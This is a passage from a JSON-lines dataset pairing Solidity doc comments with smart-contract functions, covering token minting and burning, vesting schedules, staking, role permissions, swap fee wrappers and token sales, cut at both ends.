0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n emit approvedForTrade(token);\n }\n emit feeTaken(user, token, _feeTaken);\n return totalAmount -= _feeTaken;\n }", "version": "0.8.4"} {"comment": "/**\r\n \t* @dev Get the deposit and borrow amount of the user with interest added\r\n \t* @param userAddr The address of user\r\n \t* @param handlerID The handler ID\r\n \t* @return The deposit and borrow amount of the user with interest\r\n \t*/", "function_code": "function _getUserIntraHandlerAssetWithInterest(address payable userAddr, uint256 handlerID) internal view returns (uint256, uint256)\r\n\t{\r\n\t\tuint256 price = _getTokenHandlerPrice(handlerID);\r\n\t\tIProxy TokenHandler = IProxy(dataStorageInstance.getTokenHandlerAddr(handlerID));\r\n\t\tuint256 depositAmount;\r\n\t\tuint256 borrowAmount;\r\n\r\n\t\tbytes memory data;\r\n\t\t(, data) = TokenHandler.handlerViewProxy(\r\n\t\t\tabi.encodeWithSelector(\r\n\t\t\t\tIMarketHandler.getUserAmountWithInterest.selector,\r\n\t\t\t\tuserAddr\r\n\t\t\t)\r\n\t\t);\r\n\t\t(depositAmount, borrowAmount) = abi.decode(data, (uint256, uint256));\r\n\r\n\t\tuint256 depositAsset = depositAmount.unifiedMul(price);\r\n\t\tuint256 borrowAsset = borrowAmount.unifiedMul(price);\r\n\t\treturn (depositAsset, borrowAsset);\r\n\t}", "version": "0.6.12"} {"comment": "/**\r\n \t* @dev Get the depositTotalCredit and borrowTotalCredit\r\n \t* @param userAddr The address of the user\r\n \t* @return depositTotalCredit The amount that users can borrow (i.e. deposit * borrowLimit)\r\n \t* @return borrowTotalCredit The sum of borrow amount for all handlers\r\n \t*/", "function_code": "function _getUserTotalIntraCreditAsset(address payable userAddr) internal view returns (uint256, uint256)\r\n\t{\r\n\t\tuint256 depositTotalCredit;\r\n\t\tuint256 borrowTotalCredit;\r\n\t\tfor (uint256 handlerID; handlerID < tokenHandlerLength; handlerID++)\r\n\t\t{\r\n\t\t\tif (dataStorageInstance.getTokenHandlerSupport(handlerID))\r\n\t\t\t{\r\n\t\t\t\tuint256 depositHandlerAsset;\r\n\t\t\t\tuint256 borrowHandlerAsset;\r\n\t\t\t\t(depositHandlerAsset, borrowHandlerAsset) = _getUserIntraHandlerAssetWithInterest(userAddr, handlerID);\r\n\t\t\t\tuint256 borrowLimit = _getTokenHandlerBorrowLimit(handlerID);\r\n\t\t\t\tuint256 depositHandlerCredit = depositHandlerAsset.unifiedMul(borrowLimit);\r\n\t\t\t\tdepositTotalCredit = depositTotalCredit.add(depositHandlerCredit);\r\n\t\t\t\tborrowTotalCredit = borrowTotalCredit.add(borrowHandlerAsset);\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\r\n\t\t}\r\n\r\n\t\treturn (depositTotalCredit, borrowTotalCredit);\r\n\t}", "version": "0.6.12"} {"comment": "/**\r\n \t* @dev Get the amount of token that the user can borrow more\r\n \t* @param userAddr The address of user\r\n \t* @param handlerID The handler ID\r\n \t* @return The amount of token that user can borrow more\r\n \t*/", "function_code": "function _getUserExtraLiquidityAmount(address payable userAddr, uint256 handlerID) internal view returns (uint256) {\r\n\t\tuint256 depositCredit;\r\n\t\tuint256 borrowCredit;\r\n\t\t(depositCredit, borrowCredit) = _getUserTotalIntraCreditAsset(userAddr);\r\n\t\tif (depositCredit == 0)\r\n\t\t{\r\n\t\t\treturn 0;\r\n\t\t}\r\n\r\n\t\tif (depositCredit > borrowCredit)\r\n\t\t{\r\n\t\t\treturn depositCredit.sub(borrowCredit).unifiedDiv(_getTokenHandlerPrice(handlerID));\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\treturn 0;\r\n\t\t}\r\n\t}", "version": "0.6.12"} {"comment": "/**\n * @dev The functions below are all the same as the Uniswap contract but\n * they call takeFeeAndApprove() or takeFeeETH() (See the functions above)\n * and deduct the fee from the amount that will be traded.\n */", "function_code": "function swapExactTokensForTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external override returns (uint[] memory amounts){\n uint256 newAmount = takeFeeAndApprove(_msgSender(), IERC20(path[0]), amountIn);\n return _uniswapV2Router.swapExactTokensForTokens(newAmount, amountOutMin, path, to,deadline);\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Same as Uniswap\n */", "function_code": "function quote(uint amountA, uint reserveA, uint reserveB) external override pure returns (uint amountB){\n require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');\n require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');\n amountB = (amountA * reserveB) / reserveA;\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev To mint OAP Tokens\r\n * @param _receiver Reciever address\r\n * @param _amount Amount to mint\r\n * @param _mrs _mrs[0] - message hash _mrs[1] - r of signature _mrs[2] - s of signature \r\n * @param _v v of signature\r\n */", "function_code": "function mint(address _receiver, uint256 _amount,bytes32[3] memory _mrs, uint8 _v) public returns (bool) {\r\n require(_receiver != address(0), \"Invalid address\");\r\n require(_amount >= 0, \"Invalid amount\");\r\n require(hashConfirmation[_mrs[0]] != true, \"Hash exists\");\r\n require(msg.sender == ethermaxxAddress,\"only From ETHERMAXX\");\r\n require(ecrecover(_mrs[0], _v, _mrs[1], _mrs[2]) == sigAddress, \"Invalid Signature\");\r\n totalSupply = totalSupply.add(_amount);\r\n balances[_receiver] = balances[_receiver].add(_amount);\r\n hashConfirmation[_mrs[0]] = true;\r\n emit Transfer(address(0), _receiver, _amount);\r\n return true;\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @dev To mint OAP Tokens\r\n * @param _receiver Reciever address\r\n * @param _amount Amount to mint\r\n */", "function_code": "function ownerMint(address _receiver, uint256 _amount) public onlyOwner returns (bool) {\r\n require(_receiver != address(0), \"Invalid address\");\r\n require(_amount >= 0, \"Invalid amount\");\r\n totalSupply = totalSupply.add(_amount);\r\n balances[_receiver] = balances[_receiver].add(_amount);\r\n emit Transfer(address(0), _receiver, _amount);\r\n return true;\r\n }", "version": "0.5.16"} {"comment": "/**\n * @notice executes before each token transfer or mint\n * @param _from address\n * @param _to address\n * @param _amount value to transfer\n * @dev See {ERC20-_beforeTokenTransfer}.\n * @dev minted tokens must not cause the total supply to go over the cap.\n * @dev Reverts if the to address is equal to token address\n */", "function_code": "function _beforeTokenTransfer(\n address _from,\n address _to,\n uint256 _amount\n ) internal virtual override {\n super._beforeTokenTransfer(_from, _to, _amount);\n\n require(\n _to != address(this),\n \"TCAP::transfer: can't transfer to TCAP contract\"\n );\n\n if (_from == address(0) && capEnabled) {\n // When minting tokens\n require(\n totalSupply().add(_amount) <= cap,\n \"TCAP::Transfer: TCAP cap exceeded\"\n );\n }\n }", "version": "0.7.5"} {"comment": "/** \r\n * @dev recovers any tokens stuck in Contract's balance\r\n * NOTE! if ownership is renounced then it will not work\r\n */", "function_code": "function recoverTokens(address tokenAddress, uint256 amountToRecover) external onlyOwner {\r\n IERC20Upgradeable token = IERC20Upgradeable(tokenAddress);\r\n uint256 balance = token.balanceOf(address(this));\r\n require(balance >= amountToRecover, \"Not Enough Tokens in contract to recover\");\r\n\r\n if(amountToRecover > 0)\r\n token.transfer(msg.sender, amountToRecover);\r\n }", "version": "0.8.10"} {"comment": "/*\r\n @dev (Required) Set the per-second token issuance rate.\r\n @param what The tag of the value to change (ex. bytes32(\"cap\"))\r\n @param data The value to update (ex. cap of 1000 tokens/yr == 1000*WAD/365 days)\r\n */", "function_code": "function file(bytes32 what, uint256 data) external auth lock {\r\n if (what == \"cap\") cap = data; // The maximum amount of tokens that can be streamed per-second per vest\r\n else revert(\"DssVest/file-unrecognized-param\");\r\n emit File(what, data);\r\n }", "version": "0.6.12"} {"comment": "/*\r\n @dev Govanance adds a vesting contract\r\n @param _usr The recipient of the reward\r\n @param _tot The total amount of the vest\r\n @param _bgn The starting timestamp of the vest\r\n @param _tau The duration of the vest (in seconds)\r\n @param _eta The cliff duration in seconds (i.e. 1 years)\r\n @param _mgr An optional manager for the contract. Can yank if vesting ends prematurely.\r\n @return id The id of the vesting contract\r\n */", "function_code": "function create(address _usr, uint256 _tot, uint256 _bgn, uint256 _tau, uint256 _eta, address _mgr) external auth lock returns (uint256 id) {\r\n require(_usr != address(0), \"DssVest/invalid-user\");\r\n require(_tot > 0, \"DssVest/no-vest-total-amount\");\r\n require(_bgn < add(block.timestamp, TWENTY_YEARS), \"DssVest/bgn-too-far\");\r\n require(_bgn > sub(block.timestamp, TWENTY_YEARS), \"DssVest/bgn-too-long-ago\");\r\n require(_tau > 0, \"DssVest/tau-zero\");\r\n require(_tot / _tau <= cap, \"DssVest/rate-too-high\");\r\n require(_tau <= TWENTY_YEARS, \"DssVest/tau-too-long\");\r\n require(_eta <= _tau, \"DssVest/eta-too-long\");\r\n require(ids < type(uint256).max, \"DssVest/ids-overflow\");\r\n\r\n id = ++ids;\r\n awards[id] = Award({\r\n usr: _usr,\r\n bgn: toUint48(_bgn),\r\n clf: toUint48(add(_bgn, _eta)),\r\n fin: toUint48(add(_bgn, _tau)),\r\n tot: toUint128(_tot),\r\n rxd: 0,\r\n mgr: _mgr,\r\n res: 0\r\n });\r\n emit Init(id, _usr);\r\n }", "version": "0.6.12"} {"comment": "/*\r\n @dev Anyone (or only owner of a vesting contract if restricted) calls this to claim rewards\r\n @param _id The id of the vesting contract\r\n @param _maxAmt The maximum amount to vest\r\n */", "function_code": "function _vest(uint256 _id, uint256 _maxAmt) internal lock {\r\n Award memory _award = awards[_id];\r\n require(_award.usr != address(0), \"DssVest/invalid-award\");\r\n require(_award.res == 0 || _award.usr == msg.sender, \"DssVest/only-user-can-claim\");\r\n uint256 amt = unpaid(block.timestamp, _award.bgn, _award.clf, _award.fin, _award.tot, _award.rxd);\r\n amt = min(amt, _maxAmt);\r\n awards[_id].rxd = toUint128(add(_award.rxd, amt));\r\n pay(_award.usr, amt);\r\n emit Vest(_id, amt);\r\n }", "version": "0.6.12"} {"comment": "/*\r\n @dev amount of tokens accrued, not accounting for tokens paid\r\n @param _time the timestamp to perform the calculation\r\n @param _bgn the start time of the contract\r\n @param _end the end time of the contract\r\n @param _amt the total amount of the contract\r\n */", "function_code": "function accrued(uint256 _time, uint48 _bgn, uint48 _fin, uint128 _tot) internal pure returns (uint256 amt) {\r\n if (_time < _bgn) {\r\n amt = 0;\r\n } else if (_time >= _fin) {\r\n amt = _tot;\r\n } else {\r\n amt = mul(_tot, sub(_time, _bgn)) / sub(_fin, _bgn); // 0 <= amt < _award.tot\r\n }\r\n }", "version": "0.6.12"} {"comment": "/*\r\n @dev amount of tokens accrued, not accounting for tokens paid\r\n @param _time the timestamp to perform the calculation\r\n @param _bgn the start time of the contract\r\n @param _clf the timestamp of the cliff\r\n @param _end the end time of the contract\r\n @param _tot the total amount of the contract\r\n @param _rxd the number of gems received\r\n */", "function_code": "function unpaid(uint256 _time, uint48 _bgn, uint48 _clf, uint48 _fin, uint128 _tot, uint128 _rxd) internal pure returns (uint256 amt) {\r\n amt = _time < _clf ? 0 : sub(accrued(_time, _bgn, _fin, _tot), _rxd);\r\n }", "version": "0.6.12"} {"comment": "/*\r\n @dev Allows governance or the manager to end pre-maturely a vesting contract\r\n @param _id The id of the vesting contract\r\n @param _end A scheduled time to end the vest\r\n */", "function_code": "function _yank(uint256 _id, uint256 _end) internal lock {\r\n require(wards[msg.sender] == 1 || awards[_id].mgr == msg.sender, \"DssVest/not-authorized\");\r\n Award memory _award = awards[_id];\r\n require(_award.usr != address(0), \"DssVest/invalid-award\");\r\n if (_end < block.timestamp) {\r\n _end = block.timestamp;\r\n }\r\n if (_end < _award.fin) {\r\n uint48 end = toUint48(_end);\r\n awards[_id].fin = end;\r\n if (end < _award.bgn) {\r\n awards[_id].bgn = end;\r\n awards[_id].clf = end;\r\n awards[_id].tot = 0;\r\n } else if (end < _award.clf) {\r\n awards[_id].clf = end;\r\n awards[_id].tot = 0;\r\n } else {\r\n awards[_id].tot = toUint128(\r\n add(\r\n unpaid(_end, _award.bgn, _award.clf, _award.fin, _award.tot, _award.rxd),\r\n _award.rxd\r\n )\r\n );\r\n }\r\n }\r\n\r\n emit Yank(_id, _end);\r\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Allows the owner to execute custom transactions\n * @param target address\n * @param value uint256\n * @param signature string\n * @param data bytes\n * @dev Only owner can call it\n */", "function_code": "function executeTransaction(\n address target,\n uint256 value,\n string memory signature,\n bytes memory data\n ) external payable onlyOwner returns (bytes memory) {\n bytes memory callData;\n if (bytes(signature).length == 0) {\n callData = data;\n } else {\n callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);\n }\n\n require(\n target != address(0),\n \"Orchestrator::executeTransaction: target can't be zero\"\n );\n\n // solium-disable-next-line security/no-call-value\n (bool success, bytes memory returnData) =\n target.call{value: value}(callData);\n require(\n success,\n \"Orchestrator::executeTransaction: Transaction execution reverted.\"\n );\n\n emit TransactionExecuted(target, value, signature, data);\n (target, value, signature, data);\n\n return returnData;\n }", "version": "0.7.5"} {"comment": "/**\n * @dev Internal setter for the voting period.\n *\n * Emits a {VotingPeriodSet} event.\n */", "function_code": "function _setVotingPeriod(uint256 newVotingPeriod) internal virtual {\n // voting period must be at least one block long\n require(newVotingPeriod > 0, \"GovernorSettings: voting period too low\");\n emit VotingPeriodSet(_votingPeriod, newVotingPeriod);\n _votingPeriod = newVotingPeriod;\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev transfer token for a specified address\r\n * @param _to The address to transfer to.\r\n * @param _value The amount to be transferred.\r\n * @return bool success\r\n */", "function_code": "function transfer(address _to, uint256 _value) whenNotPaused notBlacklisted(msg.sender) notBlacklisted(_to) public returns (bool) {\r\n require(_to != address(0));\r\n require(_value <= balances[msg.sender]);\r\n\r\n balances[msg.sender] = balances[msg.sender].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n emit Transfer(msg.sender, _to, _value);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Return total stake amount of `account`\r\n */", "function_code": "function getStakeAmount(\r\n address account\r\n )\r\n external\r\n view\r\n returns (uint256)\r\n {\r\n uint256[] memory stakeIds = stakerIds[account];\r\n uint256 totalStakeAmount;\r\n for (uint256 i = 0; i < stakeIds.length; i++) {\r\n totalStakeAmount += stakes[stakeIds[i]].amount;\r\n }\r\n return totalStakeAmount;\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Return total stake amount that have been in the pool from `fromDate`\r\n * Requirements:\r\n *\r\n * - `fromDate` must be past date\r\n */", "function_code": "function getEligibleStakeAmount(\r\n uint256 fromDate\r\n )\r\n public\r\n override\r\n view\r\n returns (uint256)\r\n {\r\n require(fromDate <= block.timestamp, \"StakeToken#getEligibleStakeAmount: NO_PAST_DATE\");\r\n uint256 totalSAmount;\r\n\r\n for (uint256 i = 1; i <= tokenIds; i++) {\r\n if (_exists(i)) {\r\n Stake memory stake = stakes[i];\r\n if (stake.depositedAt > fromDate) {\r\n break;\r\n }\r\n totalSAmount += stake.amount * stake.multiplier / multiplierDenominator;\r\n }\r\n }\r\n\r\n return totalSAmount;\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Returns StakeToken multiplier.\r\n *\r\n * 0 < `tokenId` <300: 120.\r\n * 300 <= `tokenId` <4000: 110.\r\n * 4000 <= `tokenId`: 100.\r\n */", "function_code": "function _getMultiplier()\r\n private\r\n view\r\n returns (uint256)\r\n {\r\n if (tokenIds < 300) {\r\n return 120;\r\n } else if (300 <= tokenIds && tokenIds < 4000) {\r\n return 110;\r\n } else {\r\n return 100;\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Mint a new StakeToken.\r\n * Requirements:\r\n *\r\n * - `account` must not be zero address, check ERC721 {_mint}\r\n * - `amount` must not be zero\r\n * @param account address of recipient.\r\n * @param amount mint amount.\r\n * @param depositedAt timestamp when stake was deposited.\r\n */", "function_code": "function _mint(\r\n address account,\r\n uint256 amount,\r\n uint256 depositedAt\r\n )\r\n internal\r\n virtual\r\n returns (uint256)\r\n {\r\n require(amount > 0, \"StakeToken#_mint: INVALID_AMOUNT\");\r\n tokenIds++;\r\n uint256 multiplier = _getMultiplier();\r\n super._mint(account, tokenIds);\r\n Stake storage newStake = stakes[tokenIds];\r\n newStake.amount = amount;\r\n newStake.multiplier = multiplier;\r\n newStake.depositedAt = depositedAt;\r\n stakerIds[account].push(tokenIds);\r\n\r\n return tokenIds;\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Burn stakeToken.\r\n * Requirements:\r\n *\r\n * - `stakeId` must exist in stake pool\r\n * @param stakeId id of buring token.\r\n */", "function_code": "function _burn(\r\n uint256 stakeId\r\n )\r\n internal\r\n override\r\n {\r\n require(_exists(stakeId), \"StakeToken#_burn: STAKE_NOT_FOUND\");\r\n address stakeOwner = ownerOf(stakeId);\r\n super._burn(stakeId);\r\n delete stakes[stakeId];\r\n uint256[] storage stakeIds = stakerIds[stakeOwner];\r\n for (uint256 i = 0; i < stakeIds.length; i++) {\r\n if (stakeIds[i] == stakeId) {\r\n if (i != stakeIds.length - 1) {\r\n stakeIds[i] = stakeIds[stakeIds.length - 1];\r\n }\r\n stakeIds.pop();\r\n break;\r\n }\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Decrease stake amount.\r\n * If stake amount leads to be zero, the stake is burned.\r\n * Requirements:\r\n *\r\n * - `stakeId` must exist in stake pool\r\n * @param stakeId id of buring token.\r\n * @param amount to withdraw.\r\n */", "function_code": "function _decreaseStakeAmount(\r\n uint256 stakeId,\r\n uint256 amount\r\n )\r\n internal\r\n virtual\r\n {\r\n require(_exists(stakeId), \"StakeToken#_decreaseStakeAmount: STAKE_NOT_FOUND\");\r\n require(amount <= stakes[stakeId].amount, \"StakeToken#_decreaseStakeAmount: INSUFFICIENT_STAKE_AMOUNT\");\r\n if (amount == stakes[stakeId].amount) {\r\n _burn(stakeId);\r\n } else {\r\n stakes[stakeId].amount = stakes[stakeId].amount.sub(amount);\r\n emit StakeAmountDecreased(stakeId, amount);\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Sweep funds\r\n * Accessible by operators\r\n */", "function_code": "function sweep(\r\n address token_,\r\n address to,\r\n uint256 amount\r\n )\r\n public\r\n onlyOperator\r\n {\r\n IERC20 token = IERC20(token_);\r\n // balance check is being done in ERC20\r\n token.transfer(to, amount);\r\n emit Swept(msg.sender, token_, to, amount);\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Updates set of the globally enabled features (`features`),\r\n * taking into account sender's permissions.=\r\n * @dev Requires transaction sender to have `ROLE_FEATURE_MANAGER` permission.\r\n * @param mask bitmask representing a set of features to enable/disable\r\n */", "function_code": "function updateFeatures(uint256 mask) public {\r\n // caller must have a permission to update global features\r\n require(isSenderInRole(ROLE_FEATURE_MANAGER));\r\n\r\n // evaluate new features set and assign them\r\n features = evaluateBy(msg.sender, features, mask);\r\n\r\n // fire an event\r\n emit FeaturesUpdated(msg.sender, mask, features);\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * @dev Updates set of permissions (role) for a given operator,\r\n * taking into account sender's permissions.\r\n * @dev Setting role to zero is equivalent to removing an operator.\r\n * @dev Setting role to `FULL_PRIVILEGES_MASK` is equivalent to\r\n * copying senders permissions (role) to an operator.\r\n * @dev Requires transaction sender to have `ROLE_ROLE_MANAGER` permission.\r\n * @param operator address of an operator to alter permissions for\r\n * @param role bitmask representing a set of permissions to\r\n * enable/disable for an operator specified\r\n */", "function_code": "function updateRole(address operator, uint256 role) public {\r\n // caller must have a permission to update user roles\r\n require(isSenderInRole(ROLE_ROLE_MANAGER));\r\n\r\n // evaluate the role and reassign it\r\n userRoles[operator] = evaluateBy(msg.sender, userRoles[operator], role);\r\n\r\n // fire an event\r\n emit RoleUpdated(msg.sender, operator, role, userRoles[operator]);\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * @dev Based on the actual role provided (set of permissions), operator address,\r\n * and role required (set of permissions), calculate the resulting\r\n * set of permissions (role).\r\n * @dev If operator is super admin and has full permissions (FULL_PRIVILEGES_MASK),\r\n * the function will always return `required` regardless of the `actual`.\r\n * @dev In contrast, if operator has no permissions at all (zero mask),\r\n * the function will always return `actual` regardless of the `required`.\r\n * @param operator address of the contract operator to use permissions of\r\n * @param actual input set of permissions to modify\r\n * @param required desired set of permissions operator would like to have\r\n * @return resulting set of permissions this operator can set\r\n */", "function_code": "function evaluateBy(address operator, uint256 actual, uint256 required) public constant returns(uint256) {\r\n // read operator's permissions\r\n uint256 p = userRoles[operator];\r\n\r\n // taking into account operator's permissions,\r\n // 1) enable permissions requested on the `current`\r\n actual |= p & required;\r\n // 2) disable permissions requested on the `current`\r\n actual &= FULL_PRIVILEGES_MASK ^ (p & (FULL_PRIVILEGES_MASK ^ required));\r\n\r\n // return calculated result (actual is not modified)\r\n return actual;\r\n }", "version": "0.4.23"} {"comment": "// Returns TUTs rate per 1 ETH depending on current time", "function_code": "function getRateByTime() public constant returns (uint256) {\r\n uint256 timeNow = now;\r\n if (timeNow > (startTime + 94 * unitTimeSecs)) {\r\n return 1500;\r\n } else if (timeNow > (startTime + 87 * unitTimeSecs)) {\r\n return 1575; // + 5%\r\n } else if (timeNow > (startTime + 80 * unitTimeSecs)) {\r\n return 1650; // + 10%\r\n } else if (timeNow > (startTime + 73 * unitTimeSecs)) {\r\n return 1800; // + 20%\r\n } else if (timeNow > (startTime + 56 * unitTimeSecs)) {\r\n return 2025; // + 35%\r\n } else if (timeNow > (startTime + 42 * unitTimeSecs)) {\r\n return 2100; // + 40%\r\n } else if (timeNow > (startTime + 28 * unitTimeSecs)) {\r\n return 2175; // + 45%\r\n } else {\r\n return 2250; // + 50%\r\n }\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * @dev Mints (creates) some tokens to address specified\r\n * @dev The value passed is treated as number of units (see `ONE_UNIT`)\r\n * to achieve natural impression on token quantity\r\n * @dev Requires sender to have `ROLE_TOKEN_CREATOR` permission\r\n * @param _to an address to mint tokens to\r\n * @param _value an amount of tokens to mint (create)\r\n */", "function_code": "function mint(address _to, uint256 _value) public {\r\n // calculate native value, taking into account `decimals`\r\n uint256 value = _value * ONE_UNIT;\r\n\r\n // arithmetic overflow and non-zero value check\r\n require(value > _value);\r\n\r\n // delegate call to native `mintNative`\r\n mintNative(_to, value);\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * @dev Mints (creates) some tokens to address specified\r\n * @dev The value specified is treated as is without taking\r\n * into account what `decimals` value is\r\n * @dev Requires sender to have `ROLE_TOKEN_CREATOR` permission\r\n * @param _to an address to mint tokens to\r\n * @param _value an amount of tokens to mint (create)\r\n */", "function_code": "function mintNative(address _to, uint256 _value) public {\r\n // check if caller has sufficient permissions to mint tokens\r\n require(isSenderInRole(ROLE_TOKEN_CREATOR));\r\n\r\n // non-zero recipient address check\r\n require(_to != address(0));\r\n\r\n // non-zero _value and arithmetic overflow check on the total supply\r\n // this check automatically secures arithmetic overflow on the individual balance\r\n require(tokensTotal + _value > tokensTotal);\r\n\r\n // increase `_to` address balance\r\n tokenBalances[_to] += _value;\r\n\r\n // increase total amount of tokens value\r\n tokensTotal += _value;\r\n\r\n // fire ERC20 compliant transfer event\r\n emit Transfer(address(0), _to, _value);\r\n\r\n // fire a mint event\r\n emit Minted(msg.sender, _to, _value);\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * @dev Burns (destroys) some tokens from the address specified\r\n * @dev The value specified is treated as is without taking\r\n * into account what `decimals` value is\r\n * @dev Requires sender to have `ROLE_TOKEN_DESTROYER` permission\r\n * @param _from an address to burn some tokens from\r\n * @param _value an amount of tokens to burn (destroy)\r\n */", "function_code": "function burnNative(address _from, uint256 _value) public {\r\n // check if caller has sufficient permissions to burn tokens\r\n require(isSenderInRole(ROLE_TOKEN_DESTROYER));\r\n\r\n // non-zero burn value check\r\n require(_value != 0);\r\n\r\n // verify `_from` address has enough tokens to destroy\r\n // (basically this is a arithmetic overflow check)\r\n require(tokenBalances[_from] >= _value);\r\n\r\n // decrease `_from` address balance\r\n tokenBalances[_from] -= _value;\r\n\r\n // decrease total amount of tokens value\r\n tokensTotal -= _value;\r\n\r\n // fire ERC20 compliant transfer event\r\n emit Transfer(_from, address(0), _value);\r\n\r\n // fire a burn event\r\n emit Burnt(msg.sender, _from, _value);\r\n }", "version": "0.4.23"} {"comment": "/* User can allow another smart contract to spend some shares in his behalf\r\n * (this function should be called by user itself)\r\n * @param _spender another contract's address\r\n * @param _value number of tokens\r\n * @param _extraData Data that can be sent from user to another contract to be processed\r\n * bytes - dynamically-sized byte array,\r\n * see http://solidity.readthedocs.io/en/v0.4.15/types.html#dynamically-sized-byte-array\r\n * see possible attack information in comments to function 'approve'\r\n * > this may be used to convert pre-ICO tokens to ICO tokens\r\n */", "function_code": "function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) {\r\n\r\n approve(_spender, _value);\r\n\r\n // 'spender' is another contract that implements code as prescribed in 'allowanceRecipient' above\r\n allowanceRecipient spender = allowanceRecipient(_spender);\r\n\r\n // our contract calls 'receiveApproval' function of another contract ('allowanceRecipient') to send information about\r\n // allowance and data sent by user\r\n // 'this' is this (our) contract address\r\n if (spender.receiveApproval(msg.sender, _value, address(this), _extraData)) {\r\n emit DataSentToAnotherContract(msg.sender, _spender, _extraData);\r\n return true;\r\n }\r\n else return false;\r\n }", "version": "0.5.6"} {"comment": "/* https://github.com/ethereum/EIPs/issues/677\r\n * transfer tokens with additional info to another smart contract, and calls its correspondent function\r\n * @param address _to - another smart contract address\r\n * @param uint256 _value - number of tokens\r\n * @param bytes _extraData - data to send to another contract\r\n * > this may be used to convert pre-ICO tokens to ICO tokens\r\n */", "function_code": "function transferAndCall(address _to, uint256 _value, bytes memory _extraData) public returns (bool success){\r\n\r\n transferFrom(msg.sender, _to, _value);\r\n\r\n tokenRecipient receiver = tokenRecipient(_to);\r\n\r\n if (receiver.tokenFallback(msg.sender, _value, _extraData)) {\r\n emit DataSentToAnotherContract(msg.sender, _to, _extraData);\r\n return true;\r\n }\r\n else return false;\r\n }", "version": "0.5.6"} {"comment": "/* set time for start and time for end pre-ICO\r\n * time is integer representing block timestamp\r\n * in UNIX Time,\r\n * see: https://www.epochconverter.com\r\n * @param uint256 startTime - time to start\r\n * @param uint256 endTime - time to end\r\n * should be taken into account that\r\n * \"block.timestamp\" can be influenced by miners to a certain degree.\r\n * That means that a miner can \"choose\" the block.timestamp, to a certain degree,\r\n * to change the outcome of a transaction in the mined block.\r\n * see:\r\n * http://solidity.readthedocs.io/en/v0.4.15/frequently-asked-questions.html#are-timestamps-now-block-timestamp-reliable\r\n */", "function_code": "function startSale(uint256 _startUnixTime, uint256 _endUnixTime) public onlyBy(owner) returns (bool success){\r\n\r\n require(balanceOf[address(this)] > 0);\r\n require(salesCounter < maxSalesAllowed);\r\n\r\n // time for sale can be set only if:\r\n // this is first sale (saleStartUnixTime == 0 && saleEndUnixTime == 0) , or:\r\n // previous sale finished ( saleIsFinished() )\r\n require(\r\n (saleStartUnixTime == 0 && saleEndUnixTime == 0) || saleIsFinished()\r\n );\r\n // time can be set only for future\r\n require(_startUnixTime > now && _endUnixTime > now);\r\n // end time should be later than start time\r\n require(_endUnixTime - _startUnixTime > 0);\r\n\r\n saleStartUnixTime = _startUnixTime;\r\n saleEndUnixTime = _endUnixTime;\r\n salesCounter = salesCounter + 1;\r\n\r\n emit SaleStarted(_startUnixTime, _endUnixTime, salesCounter);\r\n\r\n return true;\r\n }", "version": "0.5.6"} {"comment": "/* After sale contract owner\r\n * (can be another contract or account)\r\n * can withdraw all collected Ether\r\n */", "function_code": "function withdrawAllToOwner() public onlyBy(owner) returns (bool) {\r\n\r\n // only after sale is finished:\r\n require(saleIsFinished());\r\n uint256 sumInWei = address(this).balance;\r\n\r\n if (\r\n // makes withdrawal and returns true or false\r\n !msg.sender.send(address(this).balance)\r\n ) {\r\n return false;\r\n }\r\n else {\r\n // event\r\n emit Withdrawal(msg.sender, sumInWei);\r\n return true;\r\n }\r\n }", "version": "0.5.6"} {"comment": "/**\r\n * @dev Transfers the tokens from a Taraxa owned wallet to the participant.\r\n *\r\n * Emits a {TokensSent} event.\r\n */", "function_code": "function multisendToken(\r\n address token,\r\n address[] calldata _recipients,\r\n uint256[] calldata _amounts\r\n ) public {\r\n require(_recipients.length <= 200, 'Multisend: max transfers per tx exceeded');\r\n require(\r\n _recipients.length == _amounts.length,\r\n 'Multisend: contributors and balances have different sizes'\r\n );\r\n\r\n uint256 total = 0;\r\n IERC20 erc20token = IERC20(token);\r\n uint8 i = 0;\r\n for (i; i < _recipients.length; i++) {\r\n erc20token.transferFrom(msg.sender, _recipients[i], _amounts[i]);\r\n total += _amounts[i];\r\n }\r\n emit TokensSent(total, token);\r\n }", "version": "0.7.6"} {"comment": "//200m coins total\n//reward begins at 500 and is cut in half every reward era (as tokens are mined)", "function_code": "function getMiningReward() public constant returns (uint) {\r\n //once we get half way thru the coins, only get 250 per block\r\n\r\n //every reward era, the reward amount halves.\r\n\r\n return (500 * 10**uint(decimals) ).div( 2**rewardEra ) ;\r\n\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Getting Deex Token prize of _lastParticipant\r\n * @param _lastParticipant Address of _lastParticipant\r\n */", "function_code": "function calculateLastDeexPrize(address _lastParticipant) public view returns(uint) {\r\n\r\n uint payout = 0;\r\n uint totalSupply = 